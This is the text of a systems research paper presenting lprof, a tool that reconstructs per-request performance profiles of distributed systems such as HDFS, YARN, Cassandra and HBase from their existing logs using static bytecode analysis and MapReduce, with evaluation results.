Three observations led us to our work on Iprof. First, existing tools to analyze and debug the performance of distributed systems are limited. For example, IT-level tools, such as Nagios [30], Zabbix [46], and OpsView [33], capture OS and hardware counter statistics, but do not relate them to higher-level operations such as service requests. A number of existing profiling tools rely on instrumentation; examples include gprof [16] that profiles applications by sampling function invocation points; MagPie [3], Project 5 [1], and X-Trace [14] that instrument the application as well as the network stack to monitor network communication; and commercial solutions such as Dapper [36], Boundary [5], and NewRelic [31]. As these tools require modifications to the software stack, the added performance overhead can be problematic for systems deployed in production. Recently, a number of tools applied machine learning techniques to analyze logs [29, 42], primarily to identify performance anomalies. Although such techniques can be effective in detecting individual anomalies, they often require separate correct and issue-laden runs, they do not relate anomalies to higher-level operations, and they are unable to detect slowdown creep.1
Our second observation is that performance analysis and debugging are generally given low priority in most
---
1Slowdown creep is an issue encountered in organizations practicing agile development and deployment: each software update might potentially introduce some marginal additional performance overhead (e.g., <1%) that would not be noticeable in performance testing. However, with many frequent software releases, these individual slowdowns can add up to become significant over time.
organizations. This makes having a suitable tool that is easy and efficient to use more critical, and we find that none of the existing tools fit the bill. Performance analysis and debugging are given low priority for a number of reasons. Most developers prefer generating new functionality or fixing functional bugs. This behavior is also encouraged by aggressive release deadlines and company incentive systems. Investigating potential performance issues is frequently deferred because they can often easily be hidden by simply adding more hardware due to the horizontal scalability of these systems. Moreover, understanding the performance behavior of these systems is hard because the service is (i) distributed across many nodes, (ii) composed of multiple sub-systems (e.g., frontend, application, caching, and database services), and (iii) implemented with many threads/processes running with a high degree of concurrency.
Our third observation is that distributed systems implementing internet services tend to output a lot of log statements rich with useful information during their normal execution, even at the default verbosity. Developers add numerous log output statements to allow for failure diagnosis and reproduction, and these statements are rarely removed. This is evidenced by the fact that 81% of all statically found threads in HDFS, Hadoop YARN, Cassandra, and HBase contains log printing statements of default verbosity in non-exception-handling code, and by the fact that Facebook has accumulated petabytes of log data. In this paper we show that the information in the logs is sufficiently rich to allow the recovering of the inherent structure of the dispersed and intermingled log output messages, thus enabling useful performance profilers like lprof.
Extracting the per-request performance information from logs is non-trivial. The challenges include: (i) the log output messages typically consist of unstructured free-form text, (ii) the logs are distributed across the nodes of the system with each node containing the locally produced output, (iii) the log output messages from multiple requests and threads are intertwined within each log file, and (iv) the size of the log files is large.
To interpret and stitch together the dispersed and intertwined log messages of each individual request, lprof first performs static analysis on the system’s bytecode. It analyzes each log printing statement to understand how to parse each output message and identifies the variable values that are output by the message. By further analyzing the data-flow of these variable values, static analysis extracts identifiers whose values remain unchanged in each specific request. Such identifiers can help associate log messages to individual requests. Since in practice an identifier may not exist in log messages or may not be not unique to each request, static analysis further captures the temporal relationships between log printing statements. Finally, static analysis identifies control paths across different local and remote threads. The information obtained from static analysis is then used by lprof’s parallel log processing component, which is implemented as a MapReduce job.
The design of lprof has the following attributes:
- **Non-intrusive:** It does not modify any part of the existing production software stack. This makes it suitable for profiling production systems.
- **In-situ and scalable analysis:** The Map function in lprof’s MapReduce log processing job first stitches together the printed log messages from the same request on the same node where the logs are stored, which requires only one linear scan of each log file. Only summary information from the log file and only from requests that traverse multiple nodes is sent over the network in the shuffling phase to the reduce function. This avoids sending the logs over the network to a centralized location to perform the analysis, which is unrealistic in real-world clusters.
- **Compact representation allowing historical analysis:** lprof stores the extracted information related to each request in a compact form so that it can be retained permanently. This allows historical analysis where current performance behavior can be compared to the behavior at a previous point of time (which is needed to detect slowdown creep).
- **Loss-tolerant:** lprof’s analysis is not sensitive to the loss of data. If the logs of a few nodes are not available, lprof simply discards their input. At worst, this leads to some inaccuracies for the requests involving those nodes, but won’t affect the analysis of requests not involving those nodes.
This paper makes the following contributions. First, we show that the standard logs of many systems contain sufficient information to be able to extract the performance behavior of any service-level request. Section 2 gives a detailed example of the type of information that is possible to extract from the logs and how this information can be used to diagnose and debug performance issues. Secondly, we describe the design and implementation of lprof. Section 3 provides a high-level overview, while Sections 4 and 5 describe details of lprof’s static analysis and how the logs are processed. Finally, Section 6 evaluates the techniques presented in this paper. We validated lprof using four widely-used distributed systems: HDFS, Hadoop YARN, Cassandra, and HBase. We show that lprof performs and scales well, and that it is able to
Figure 1: One row of the request table constructed by lprof containing information related to one request. The “node traversed” column family [7] contains the IP address, the starting and ending timestamp on each node this request traversed. In this case, the HDFS writeBlock request traverses three nodes. The “log sequence ID” column contains a hash value that can be used to index into another table containing the sequence of log printing statements executed by this request.
<table>
<thead>
<tr>
<th>Request type</th>
<th>start timestamp</th>
<th>end timestamp</th>
<th>IP address</th>
<th>nodes traversed</th>
<th>log sequence ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>writeBlock</td>
<td>2014-04-21</td>
<td>2014-04-21</td>
<td>172.31.9.26</td>
<td>05:32:45,103</td>
<td>41</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>172.31.9.28</td>
<td>05:32:45,847</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>172.31.9.12</td>
<td>05:32:46,680</td>
<td></td>
</tr>
</tbody>
</table>
Figure 2: lprof’s analysis on HDFS’ performance.
We discuss the limitations of lprof in Section 7 and close with related work and concluding remarks.
2 Motivating Example
To illustrate how lprof’s request flow analysis might be used in practice, we selected a performance issue reported by a (real) user [20] and reproduced the anomaly on a 25-node cluster.
In this example, an HDFS user suspects that the system has become slow after a software upgrade. Applying lprof to analyze the logs of the cluster produces a request table as shown in Figure 1. The user can perform various queries on this table. For example, she can examine trends in request latencies for various request types over time, or she can count the number of times each request type is processed during a time interval. Figures 2 (a) and (b) show how lprof visualizes these results.3
Figure 2 (a) clearly shows an anomaly with writeBlock requests at around 23:42. A sudden increase in writeBlock’s latency is clearly visible while the latencies of the other requests remain unchanged. The user might suspect this latency increase is caused by a few nodes that are “stragglers” due to an unbalanced workload or a network problem. To determine whether this is the case, the user compares the latencies of each writeBlock request after 23:42 across the different nodes. This is shown in Figure 2 (c), which suggests no individual node is abnormal.
The user might then want to compare a few single requests before and after 23:42. This can be done by selecting corresponding rows from the database and comparing the per-node latency between an anomalous request and a healthy one. Figure 2 (d) visualizes the latency incurred on different nodes for two write requests: one before 23:42 (healthy) and the other after (anomalous). The figure shows that for both requests, latency is highest on the first node and lowest on the third node. HDFS has each block replicated on three data nodes (DNs), and each writeBlock request is processed as a pipeline across the three DNs: DN1 updates the local replica, sends it to DN2, and only returns to the user after DN2’s response is received. Therefore the latency of DN2 includes the latency on DN3 plus the network communication time between DN2 and DN3.
The figure also shows that the latency of one request is clearly higher than the latency of the second request on the first two DNs. This leads to the hypothesis that code changes are responsible for the latency increase. The HDFS cluster was indeed upgraded between the servicing of the two requests (from version 2.0.0 to 2.0.2). The log sequence identifier is then used to identify the code path taken by both requests, and a diff on the two versions of the source code reveals that an extra socket write between DNs was introduced in version 2.0.2. The HDFS developers later fixed this performance issue by combining both socket writes into one [20].
Figure 2 (b) shows another performance anomaly: the number of verifyBlock requests is suspiciously high. Further queries on the request database suggest that before the upgrade, verifyBlock requests appear once every 5 seconds on every datanode, generating a lot of log messages, while after the upgrade, they appear only rarely. Interestingly, we noticed this accidentally in our experiments. Clearly lprof is useful in detecting and diagnosing this case as well.
We envision that lprof is run periodically to process the log messages generated since its previous run, appending the new entries to the table and keeping them forever to enable historical analysis and debug problems like performance creep. If space is a concern, then instead of generating one table entry per request, lprof can generate one table entry per time interval and request type, each containing attendant statistical information (e.g., count, average/high/low timestamps, etc.).
In this Section, before describing lprof’s design, we first discuss the challenges involved in stitching log messages together that were output when processing a single request. For example, consider how HDFS processes a write request as shown in Figure 3. On each datanode, a DataXceiver thread uses a while loop to process each incoming request. If the op-code is WRITE_BLOCK, then writeBlock() is invoked at line 7. At line 15, writeBlock() sends a replication request to the next downstream datanode. At line 16 - 17, a new thread associated with PacketResponder is created to receive the response from the downstream datanode so that it can send its response upstream. Hence, this code might output log messages as shown in Figure 4. These six log messages alone illustrate two challenges encountered:
1. The log messages produced when processing a single writeBlock request may come from multiple threads, and multiple requests may be processed concurrently. As a result, the log output messages from different requests will be intertwined.
2. The log messages do not contain an identifying substring that is unique to a request. For example, block ID “BP-9..9:blk_5..7” can be used to separate messages from different requests that do not operate on the same block, but cannot be used to separate the messages of the read and the first write request because they operate on the same block. Unfortunately, identifiers unique to a request rarely exist in real-world logs. In Section 7, we further discuss how lprof could be simplified if there were a unique request identifier in every log message.
To address these challenges lprof first uses static analysis to gather information from the code that will help map each log message to the processing of a specific request, and help establish an order on the log messages mapped to the request. In a second phase, lprof processes the logs using the information obtained from the static analysis phase; it does this as a MapReduce job.
We now briefly give a brief overview of lprof’s static analysis and log processing, depicted in Figure 5.
### 3.1 Static Analysis
lprof’s static analysis gathers information in four steps.
1. Parsing the log string format and variables obtains the signature of each log printing statement found in the code. An output string is composed of string constants...
and variable values. It is represented by a regular expres-
sion (e.g., “Receiving block BP-(\d):blk_(\d)_\(*\_\(*\)”), which
is used during the log analysis phase to map a log mes-
sage to a set of log points in the code that could have
output the log message. We use the term log point in
this paper to refer to a log printing statement in the code.
This step also identifies the variables whose values are
contained in the log message.
(2) Request identifier and request entry analysis are
used to analyze the dataflow of the variables to determine
which ones are modified. Those that are not modified are
recognized as request identifiers. Request identifiers are
used to separate messages from different requests; that
is, two log messages with different request identifiers are
guaranteed to belong to different requests. However, the
converse is not true: two messages with the same identi-
fier value may still belong to different requests (e.g., both
of the “read” and the “write 1” requests in Figure 4 have
same the block ID).
Identifying request identifiers without domain
expertise can be challenging. Consider “BP-
9..9:blk_5..7_1032” in Figure 4 that might be considered
as a potential identifier. This string contains the values of
three variables as shown in Figure 6: poolID, blockID,
and generationStamp. Only the substring containing
poolID and blockID is suitable as a request identifier
for writeBlock, because generationStamp can have
different values while processing the same request (as
exemplified by the “write 2” request in Figure 4).
To infer which log points belong to the processing
of the same request, top-level methods are also identified
by analyzing when identifiers are modified. We use the
term top-level method to refer to the first method of any
thread dedicated to the processing of a single type of
request. For example, in Figure 3 writeBlock() and
PacketResponder.run() are top-level methods, but
DataXceiver.run() is not because it processes mul-
tiple types of requests. We say that method M is log point
p’s top-level method if M is a top-level method and p is
reachable from M.
If lprof can identify readBlock() and
writeBlock() as being two top-level methods for
different types of requests, it can separate messages
printed by readBlock() from the ones printed by
writeBlock() even if they have the same identifier
value. We identify the top-level methods by processing
each method in the call-graph in bottom-up order: if
a method M modifies many variables that have been
recognized as request identifiers in its callee M’, then M’
is recognized as a top-level method. The intuition behind
this design is that programmers naturally log request
identifiers to help debugging, and the modification of a
frequently logged but rarely modified variable is likely
not part of the processing of a specific request.
(3) Temporal order analysis is needed because there
may not exist an ID unique to each request. For example,
by inferring that line 26 is executed after line 24 in Fig-
ure 3, lprof can conclude that when two messages appear
in the following order: “... terminating” and “Received
block...”, they cannot be from the same request even if
they have the same block ID.
(4) Communication pair analysis is used to identify
threads that communicate with each other. Log messages
output by two threads that communicate could potentially
be from processing of the same request. Such commu-
nication could occur through cooperative threads in
the same process, or via sockets or RPCs across the network.
3.2 Distributed Log Analysis
The log analysis phase attributes each log message to a
request, which is implemented using a MapReduce job.
The map function groups together all log messages that
were output by the same thread while processing the same
request. A log message is added to a group if (i) it has the
same top-level method, (ii) the request identifiers do not
conflict, and (iii) the corresponding log point matches the
temporal sequence in the control flow.
The reduce function merges groups if they represent
log messages that were output by different threads when
processing the same request. Two groups are merged if
(i) the two associated threads could communicate, and
(ii) the request identifiers do not conflict.
4 Static Analysis
lprof’s static analysis works on Java bytecode. Each of
the four steps in lprof’s static analysis is implemented
as one analysis pass on the bytecode of the target sys-
tem. We use the Chord static analysis framework [9]. For
convenience, we explain lprof using examples in source
code. All the information shown in the examples can be
inferred from Java bytecode.
4.1 Parsing Log Printing Statements
This first step identifies every log point in the program.
For each log point, lprof (i) generates a regular expres-
Figure 6: How “BP-9..9:blk_5..7_1032” is printed.
sion that matches the output log message, and (ii) identifies the variables whose values appear in the log output.
lprof identifies log points by searching for call instructions whose target method has the name fatal, error, warn, info, debug, or trace. This identifies all the logging calls if the system uses log4j [25] or SLF4J [37], two commonly used logging libraries that are used by the systems we evaluated.
To parse the format string of a log point into a regular expression, we use techniques similar to those used by two previous tools [42, 43]. We summarize the challenges we faced in implementing a log parser on real-world systems.
On the surface, parsing line 14 in Figure 3 into the regular expression “Receiving block (.*)”, where the wildcard matches the value of block, is straightforward. However, identifying the variables whose values are output at the log point is more challenging. In Java, the object’s value is printed by calling its toString() method. Figure 6 shows how the value of block is eventually printed. In this case, lprof has to parse out the individual fields because only poolID and blockID are request identifiers, whereas generationStamp is modified during request processing. To do this, lprof recursively traces the object’s toString() method and the methods that manipulate StringBuilder objects until it reaches an object of a primitive type.
For the HDFS log point above, the regular expression identified by lprof will be:
“Receiving block (.*)blk_\((d+)_(d+)\)”.
The three wildcard components will be mapped to block.poolID, block.blockID, and block.block.generationStamp, respectively.
lprof also needs to analyze the data-flow of any string object used at a log point. For example, mystring at line 26 in Figure 3 is a String object initialized earlier in the code. lprof analyzes its data-flow to identify the precise value of mystring.
Class inheritance and late binding in Java creates another challenge. For example, when a class and its super class both provide a toString() method, which one gets invoked is resolved only at runtime depending on the actual type of the object. To address this, lprof analyzes both classes’ toString() methods, and generates two regular expressions for the one log point. During log analysis, if both regular expressions match a log message, lprof will use the one with the more precise match, i.e., the regular expression with a longer constant pattern.
### 4.2 Identifying Request Identifiers
This step identifies (i) request identifiers and (ii) top-level methods. We implement the inter-procedural analysis as summary-based analysis [35]. It analyzes one method at a time and stores the result as the summary of that method. The methods are analyzed in bottom-up order along the call-graph and when a call instruction is encountered, the summary of the target method is used. Not being summary-based would require lprof to store the intermediate representation of the entire program in memory, which would cause it to run out of memory.
**Data-flow analysis for request identifiers**: lprof infers request identifiers by analyzing the inter-procedural data-flow of the logged variables. For each method M, lprof assembles two sets of variables as its summary: (i) the request identifier candidate set (RIC), which contains the variables whose values are output to a log and not modified by M or its callees, and (ii) the modified variable set (MV) which contains the variables whose values are modified. For each method M, lprof first initializes both sets to be empty. It then analyzes each instruction in M. When it encounters a log point, the variables whose values are printed (as identified by the previous step) are added to the RIC set. If an instruction modifies a variable v, v is added to the MV set and removed from the RIC set. If the instruction is a call instruction, lprof first merges the RIC and MV sets of the target method into the corresponding sets of the current method, and then, for each variable v in the MV set, lprof removes it from the RIC set if it contains v.
As an example, consider the following code snippet from writeBlock():
```java
dataXceiver.run()
RIC: { }, count: 0 MV: {poolID, blockID}
RIC: {poolID:8, blockID:8} count: 16 MV: {poolID, blockID}
RIC: {poolID:4, blockID:4, generationStamp:4} count: 12 MV: {poolID, generationStamp}
Figure 7: Request identifier analysis for the HDFS example of Figure 3. When analyzing writeBlock(), the request identifier candidate set (RIC) from its callee receiveBlock() is merged into its own set, so the cumulative count of poolID and blockID is increased to 8, 4 comes from receiveBlock() and 4 comes from the log points in writeBlock(). Since generationStamp is in setGenerationStamp()'s modified variable set (MV), it is removed from writeBlock()'s RIC set.
```
The setGenerationStamp() method modifies the generationStamp field in block. In bottom-up order, lprof first analyzes setGenerationStamp() and adds generationStamp to its MV set. Later when lprof analyzes writeBlock(), it removes generationStamp from its RIC set because generationStamp is in the MV set of setGenerationStamp().
Identifying top-level methods: the request identifier analysis stops at the root of the call-graph: either a thread entry method (i.e., run() in Java) or main(). However, a thread entry method might not be the entry of a service request. Consider the HDFS example shown in Figure 3. The DataXceiver thread uses a while loop to handle read and write requests. Therefore lprof needs to identify writeBlock() and readBlock() as the top-level methods instead of run().
lprof identifies top-level methods by observing the propagation of variables in the RIC set and uses the following heuristic when traversing the call-graph bottom-up: if, when moving from a method M to its caller M’, many request identifier candidates are suddenly removed, then it is likely that M is a top-level method. Specifically, lprof counts the number of times each request identifier candidate appears in a log point in each method and accumulates this counter along the call-graph bottom-up. (See Figure 7 for an example.) Whenever this count decreases from method M to its caller M’, lprof concludes that M is a top-level method. The intuition is that developers naturally include identifiers in their log printing statements, and modifications to these identifiers are likely outside the top-level method.
In Figure 7, both writeBlock() and readBlock() accumulate a large count of request identifiers, which drops to zero in run(). Therefore, lprof infers writeBlock() and readBlock() are the top-level methods instead of run(). Note that although the count of generationStamp decreases when the analysis moves from setGenerationStamp() to writeBlock(), it does not conclude setGenerationStamp() is a top-level method because the accumulated count of all request identifiers is still increasing from setGenerationStamp() to writeBlock().
4.3 Partial Order Among Log Points
In this step, lprof generates a Directed Acyclic Graph (DAG) for each top-level method (identified in the previous step) from the method’s call graph and control-flow graph (CFG). This DAG contains each log point reachable from the top-level method and is used to help attribute log messages to top-level methods.
It is not possible to statically infer the precise order in which instructions will execute. Therefore, lprof takes the liberty of applying a number of simplifications:
1. Only nodes that contain log printing statements are represented in the DAG.
2. All nodes involved in a strongly connected component (e.g., caused by loops) are folded into one entry node. This implies that multiple log points may be assigned to a single node in the DAG.
3. Similarly, if there is a strongly connected component due to recursive calls, then those nodes are also folded into one.
4. Unchecked exceptions are ignored, since they will terminate the execution. Checked exceptions are captured by the CFG and are included in the DAG.
As an example, Figure 8 shows the DAG generated from a code snippet. The asterisk (*) next to log 2 and log 3 indicates that these log points may appear 0 or more times. We do not maintain an ordering of the log points for nodes with multiple log points.
In practice, we found the DAG particularly useful in capturing the starting and ending log points of a request — it is a common practice for developers to print a message at the beginning of each request and/or right before the request terminates.
4.4 Thread Communication
In this step, lprof infers how threads communicate with one another. The output of this analysis is a tuple for each communication pair: (top-level method 1, top-level method 2, communication type, set of request identifier pairs), where one end of the communication is reachable from top-level method 1 and the other end is reachable from top-level method 2. “Communication type” is one of local, RPC, or socket, where “local” is used when two threads running in the same process communicate. A “request identifier pair” captures the transfer of request identifier values from the source to the destination; the pair identifies the variables containing the data values at source and destination.
Threads from the same process: lprof detects two types of local thread communications: (i) thread creation and (ii) shared memory reads and writes. Detecting thread creation is straightforward because Java has a well defined thread creation mechanism. If an instruction r.start() is reachable from a top-level method, where r is an object of class C that extends the Thread class or implements the Runnable interface, and C.run() is another top-level method, then lprof has identified a communication pair. lprof also infers the data-flow of request identifiers, as they are mostly passed through the constructor of the target thread object. In addition to explicit
thread creation, if two instructions reachable from two top-level methods (i) access a shared object, and (ii) one of them reads and the other writes to the shared object, then a communication pair is identified.
As an example, consider the HDFS code in Figure 3. Iprof generates the following tuple: (writeBlock, PacketResponder.run, local, <DataXceiver.block.poolID, PacketResponder.block.poolID>, ..), indicating that writeBlock() could communicate with PacketResponder via local thread creation, and poolID is the request identifier used on both ends for the data value passed between the threads.
**Threads communicating across the network:** Pairing threads that communicate via the network is more challenging. While Java provides standard socket read and write APIs for network communication, if we naively pair the read to the write on the same socket, we would effectively end up connecting most of the top-level methods together even though they do not communicate. Consider the HDFS example shown in Figure 3. While readBlock() and writeBlock() do not communicate with each other, they share the same underlying socket.
Instead of pairing socket read and write, we observe that the sender and receiver that actually communicate both have to agree on the same protocol. Specifically, whenever Iprof finds a pair of invoke instructions whose target methods are the serialization and deserialization methods from the same class, respectively, the top-level methods containing these two instructions are paired. Developers often use third-party data-serialization libraries, such as Google Protocol Buffers [15]. This further eases Iprof’s analysis since they provide standardized serialization/deserialization APIs. Among the systems we evaluated, Cassandra is the only one that does not use Google Protocol Buffers, but implements its own serialization library. For Cassandra, a simple annotation to pair C.serialize() with C.deserialize() for any class C is sufficient to correctly pair all of the communicating top-level methods. Iprof also parses the Google Protocol Buffer’s protocol annotation file to identify the RPC pairs, where each RPC is explicitly declared.
**Improvements:** To improve the accuracy of “log stitching”, we add two refinements when pairing communication points. First, even when a thread does not contain any log point (which means it does not contain any top-level method), it will still be included in a communication pair if it communicates with a top-level method. In this case, its run() method will be used as the communication end point. The reason is that such a thread could serve as a link connecting two communicating top-level methods A and B. Not including the communication pair would prevent Iprof from grouping the log messages from A and B.
**4.5 Summary of Static Analysis**
The second improvement is to infer the number of times a top-level method can occur in a communication pair. For example, a communication pair “(M1, M2*, local, ..)”, where M2 is followed by an asterisk, means that method M1 could communicate with multiple instances of method M2 in the same request. The log analysis uses this property to further decide whether it can stitch messages from multiple instances of M2 into the same request. The inference of such a property is straightforward: if the communication point to M2 is within a loop in M1’s CFG, then M2 could occur multiple times.
**5 Log Analysis**
The output of Iprof’s static analysis is a file that contains the log printing behavior of the system. Figure 9 shows a snippet of the output file for HDFS. It consists of the following four segments:
1. **Top-level methods:** a list of tuples with (i) the name of the top-level method, (ii) an index into the DAG representation of the log points, and (iii) a list of request identifiers;
2. **DAGs:** the DAG for each top-level method;
3. **Log point regex:** the regular expressions for each log point and the identifier for each wildcard;
4. **Communication pairs:** a list of tuples that identify the communication points along with the identifiers for the data being communicated.
To speedup log analysis, this output file also contains a number of indexes, including: (i) an index of regular expressions (to speedup the matching of each log message to its log point) and (ii) an index mapping log points to top-level methods. This output file is sent to every machine in the cluster whose log is analyzed.
same request. Each RA contains: (i) a vector of top-level methods that are grouped into this RA; (ii) the value of each request identifier; (iii) a vector of log point sequences, where each sequence comes from one top-level method; (iv) a list of nodes traversed, with the earliest and latest timestamp. The map and reduce functions will iteratively accumulate the information of log messages from the same request into the RAs. In the end, there will be one RA per request that contains the information summarized from all its log messages.
**Map: Intra-thread Grouping**
The map function is run on each node to process local log files. There is one map task per node, and all the map tasks run in parallel. Each map function scans the log file linearly. Each log message is parsed to identify its log point and the values of the request identifiers using regular expression matching. We also heuristically parse the timestamp associated with each message.
A parsed log message is added to an existing RA entry if and only if: (i) their top-level methods match, (ii) the identifier values do not conflict, and (iii) the log point matches the temporal sequence in the control flow as represented by the DAG. A new RA is created (and appropriately initialized) if the log message cannot be added to an existing RA. Therefore, each RA output by the map function contains exactly one top-level method.
Note that a sequence of log messages can be added to the same RA even when each contains the values of a different subset of request identifiers. Figure 10 shows an example. The 5 log messages in this figure can all be grouped into a same RA entry even though 4 of them contain the values of a subset of the request identifiers, and one does not contain the value of any request identifier but is captured using the DAG.
**Combine and Reduce: Inter-thread Grouping**
The combine function performs the same operation as the reduce function, but does so locally first. It combines two RAs into one if there exists a communication pair between the two top-level methods in these two RAs, and the request identifier values do not conflict. Moreover, as a heuristic, we do not merge RAs if the difference between their timestamps is larger than a user-configurable threshold. Such a heuristic is necessary because two RAs could have the same top-level methods and request identifiers, but represent the processing of different requests (i.e., two writeBlock operations on the same block). This value is currently set to one minute, but should be adjusted depending on the networking environment. In an unstable network environment with frequent congestion this threshold should have a larger value.
After the combine function, lprof needs to assign a shuffle key to each RA, and all the RAs with the same shuffle key must be sent to the same reducer node over the network. Therefore the same shuffle key should be assigned to all of the RAs that need to be grouped together. We do this by considering communication pairs. At the end of the static analysis, if there is a communication pair connecting two top-level methods A and B, A and B are jointed together into a connected component (CC). We iteratively merge more top-level methods into this CC as long as they communicate with any of the top-level methods in this CC. In the end, all of the top-level methods in a CC could communicate, and their RAs are assigned with the same shuffle key.
However, this approach could lead to the assignment of only a small number of shuffle keys and thus a poor distribution in practice. Hence, we further implement two improvements to the shuffling process. First, if all of the communicating top-level methods have common request identifiers, the identifier values will be used to further differentiate shuffle keys. Secondly, if an RA cannot possibly communicate with any other RA through network communication, we do not further shuffle it, but instead we directly output the RA into the request database.
Finally, the reduce function applies the same method
---
4Note that if a request identifier is not shared by all of the communicating top-level methods, it cannot be used in the shuffle key because different communicating RAs might have different request identifier (e.g., one RA only has poolID while the other RA has blockID).
as the combine function. Figure 11 provides an example that shows how the RAs of log messages in the HDFS writeBlock request are grouped together. After the map function generates req.acc.1 and 2 on node 1, the combine function groups them into req.acc.3, because writeBlock() and PacketResponder.run() belong to the same communication pair, and their request identifier values match. Node 2 and node 3 run the map and combine functions in parallel, and generate req.acc.4 and 5. lprof assigns the same shuffle key to req.acc.3, req.acc.4, and req.acc.5. The reduce function further groups them into a final RA req.acc.6.
Request Database and Visualization
Information from each RA generated by the reduce function is stored into a database table. The database schema is shown in Figure 1. It contains the following fields: (i) request type, which is simply the top-level method with the earliest time stamp; (ii) starting and ending time stamps, which are the MAX and MIN in all the timestamps of each node; (iii) nodes traversed and the time stamps on each node, which are taken directly from the RA; (iv) log sequence ID (LID), which is a hash value of the log sequence vector field in the RA. For example, as shown in Figure 11, the vector of the log sequence of a writeBlock request is “[[LP1],[LP1],[LP1],[LP2,LP3],[LP2,LP3],[LP2,LP3]]”. In this vector, each element is a log sequence from a top-level method (e.g., “[LP1]” is from top-level method writeBlock() and “[LP2,LP3]” is from PacketResponder.run()). Note the LID captures the unique type and number of log messages, their order within a thread, as well as the number of threads. However, it does not preserve the timing order between threads. Therefore, in practice, there are not many unique log sequences; for example, in HDFS there are only 220 unique log sequences on 200 EC2 nodes running a variety of jobs for 24 hours. We also generate a separate table that maps each log sequence ID to the sequence of log points to enable source-level debugging. We use MongoDB [28] for our current prototype.
We built a web application to visualize lprof’s analysis result using the Highcharts [21] JavaScript charting library. We automatically visualize (i) requests’ latency over time; (ii) requests’ counts and their trend over time; and (iii) average latency per node. Figure 12 shows our latency-over-time visualization.
One challenge we encountered is that the number of requests is too large when visualizing their latencies. Therefore, when the number of requests in the query result is greater than a threshold, we perform down-sampling and return a smaller number of requests. We used the largest triangle sampling algorithm [39], which first divides the entire time-series data into small slices, and in each slice it samples the three points that cover the largest area. To further hide the sampling latency, we pre-sample all the requests into different resolutions. Whenever the server receives a user query, it examines each pre-sampled resolution in parallel, and returns the highest resolution whose number of data points is below the threshold.
6 Evaluation
We answer four questions in evaluating lprof: (i) How much information can our static analysis extract from the target systems’ bytecode? (ii) How accurate is lprof in attributing log messages to requests? (iii) How effective is lprof in debugging real-world performance anomalies? (iv) How fast is lprof’s log analysis?
We evaluated lprof on four, off-the-shelf distributed systems: HDFS, Yarn, Cassandra, and HBase. We ran workloads on each system on a 200 EC2 node cluster for over 24 hours with the default logging verbosity level. Default verbosity is used to evaluate lprof in settings closest to the real-world. HDFS, Cassandra, and YARN use INFO as the default verbosity, and HBase uses DEBUG. A timestamp is attached to each message using the default configuration in all of these systems.
For HDFS and Yarn, we used HiBench [22] to run a variety of MapReduce jobs, including both real-world applications (e.g., indexing, pagerank, classification and clustering) and synthetic applications (e.g., wordcount, sort, terasort). Together they processed 2.7 TB of data. For Cassandra and HBase, we used the YCSB [11] benchmark. In total, the four systems produced over 82 million log messages (See Table 1).
<table>
<thead>
<tr>
<th>System</th>
<th>LOC</th>
<th>workload</th>
<th># of msg</th>
</tr>
</thead>
<tbody>
<tr>
<td>HDFS-2.0.2</td>
<td>142K</td>
<td>HiBench</td>
<td>1,760,926</td>
</tr>
<tr>
<td>Yarn-2.0.2</td>
<td>101K</td>
<td>HiBench</td>
<td>79,840,856</td>
</tr>
<tr>
<td>Cassandra-2.1.0</td>
<td>210K</td>
<td>YCSB</td>
<td>394,492</td>
</tr>
<tr>
<td>HBase-0.94.18</td>
<td>302K</td>
<td>YCSB</td>
<td>695,006</td>
</tr>
</tbody>
</table>
Table 1: The systems and workload we used in our evaluation, along with the number of log messages generated.
Table 2: Static analysis result. *: in these two columns we only count the log points that are under the default verbosity level and not printed in exception handler — indicating they are printed by default under normal conditions.
<table>
<thead>
<tr>
<th>System</th>
<th>Threads</th>
<th>Top-lev.</th>
<th>Log points</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>tot.</td>
<td>≥ 1 log*</td>
<td>≥ 1 id.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>meth.</td>
<td>per DAG*</td>
</tr>
<tr>
<td>HDFS</td>
<td>44</td>
<td>95%</td>
<td>167</td>
</tr>
<tr>
<td>Yarn</td>
<td>45</td>
<td>73%</td>
<td>79</td>
</tr>
<tr>
<td>Cass.</td>
<td>92</td>
<td>74%</td>
<td>74</td>
</tr>
<tr>
<td>HBase</td>
<td>85</td>
<td>80%</td>
<td>193</td>
</tr>
<tr>
<td>Average</td>
<td>67</td>
<td>81%</td>
<td>129</td>
</tr>
</tbody>
</table>
Table 3: The accuracy of attributing log messages to requests.
<table>
<thead>
<tr>
<th>System</th>
<th>Correct</th>
<th>Incomplete</th>
<th>Incorrect</th>
<th>Failed</th>
</tr>
</thead>
<tbody>
<tr>
<td>HDFS</td>
<td>97.0%</td>
<td>0.1%</td>
<td>0.3%</td>
<td>2.6%</td>
</tr>
<tr>
<td>Yarn</td>
<td>79.6%</td>
<td>19.2%</td>
<td>0.0%</td>
<td>1.2%</td>
</tr>
<tr>
<td>Cassandra</td>
<td>85.7%</td>
<td>9.6%</td>
<td>0.3%</td>
<td>4.4%</td>
</tr>
<tr>
<td>HBase</td>
<td>90.6%</td>
<td>2.5%</td>
<td>3.5%</td>
<td>3.4%</td>
</tr>
<tr>
<td>Average</td>
<td><strong>88.2%</strong></td>
<td><strong>7.9%</strong></td>
<td><strong>1.0%</strong></td>
<td><strong>2.9%</strong></td>
</tr>
</tbody>
</table>
6.1 Static Analysis Results
Table 2 shows the results of lprof’s static analysis. On average, 81% of the statically inferred threads contain at least one log point that would print under normal conditions, and there are an average of 20 such log points reachable from the top-level methods inferred from the threads that contain at least one log point. This suggests that logging is prevalent. In addition, 66% of the log points contain at least one request identifier, which can be used to separate log messages from different requests. This also suggests that lprof has to rely on the generated DAG to group the remaining 34% log points. lprof’s static analysis takes less than 2 minutes to run and 868 MB of memory for each system.
6.2 Request Attribution Accuracy
With 82 million log messages, we obviously could not manually verify whether lprof correctly attributed each log message to the right request. Instead, we manually verified each of the log sequence IDs (LID) generated by lprof. Recall from Section 5 that the LID captures the number and the type of the log points of a request, and the partial orders of those within each thread (but it ignores the thread orders, identifier values, and nodes’ IPs). Only 784 different LIDs are extracted out of a total of 62 million request instances. We manually examined the log points of each LID and the associated source code to understand its semantics. The manual examination took four authors one week of time.
